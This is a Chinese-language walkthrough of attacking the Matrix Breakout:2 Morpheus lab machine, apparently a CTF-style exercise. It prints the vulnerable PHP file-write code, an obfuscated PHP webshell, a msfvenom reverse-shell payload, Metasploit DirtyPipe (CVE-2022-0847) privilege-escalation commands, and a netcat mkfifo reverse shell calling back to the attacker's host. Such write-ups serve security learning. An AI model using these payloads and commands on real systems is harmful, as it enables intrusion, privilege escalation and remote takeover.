Matrix Breakout:2 Morpheus（靶机详细渗透测试过程记录）

nmap -sS -p 80 -oG - 192.168.192.0/24 | grep open

探测网段下开放80端口的主机。

扫描目录

发现该界面

存储型xss

发现file参数貌似可以控制读取文件目标。

尝试利用伪协议读取，文件内容。

解码，分析源代码：

<?php

$file="graffiti.txt";//默认file为graffiti.txt
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['file'])) {
       $file=$_POST['file'];
    }
//如果message不为空打开file文件
    if (isset($_POST['message'])) {
        $handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
        fwrite($handle, $_POST['message']);//将message写进handle里
        fwrite($handle, "\n");
        fclose($file); 
    }
}

// Display file
$handle = fopen($file,"r");//handle为file的值
while (!feof($handle)) {
  echo fgets($handle);
  echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message: 
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>

我错了，不仅仅是xss，妥妥的任意写入文件漏洞。

开始后渗透

构造一句话木马：

<?php

$bb="assert";

$a="bb";

$$a(@$_POST['juminfo']);

?>

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.111.130 lport=2288 -f elf > mazi.elf //生成liunx马子

 use exploit/multi/handler //msf监听

search suggester  //获取session后使用提权漏洞检测模块

 使用，

 use exploit/linux/local/cve_2022_0847_dirtypipe 

配置新的端口及信息

msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost 192.168.111.130
lhost => 192.168.111.130
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 6677
lport => 6677
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set session 2
session => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run

获得root权限shell后。

nc -lvnp 4242    //开个新端口，做nc监听
rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 192.168.111.130 4242 > f//利用nc反弹shell

获取交互式shell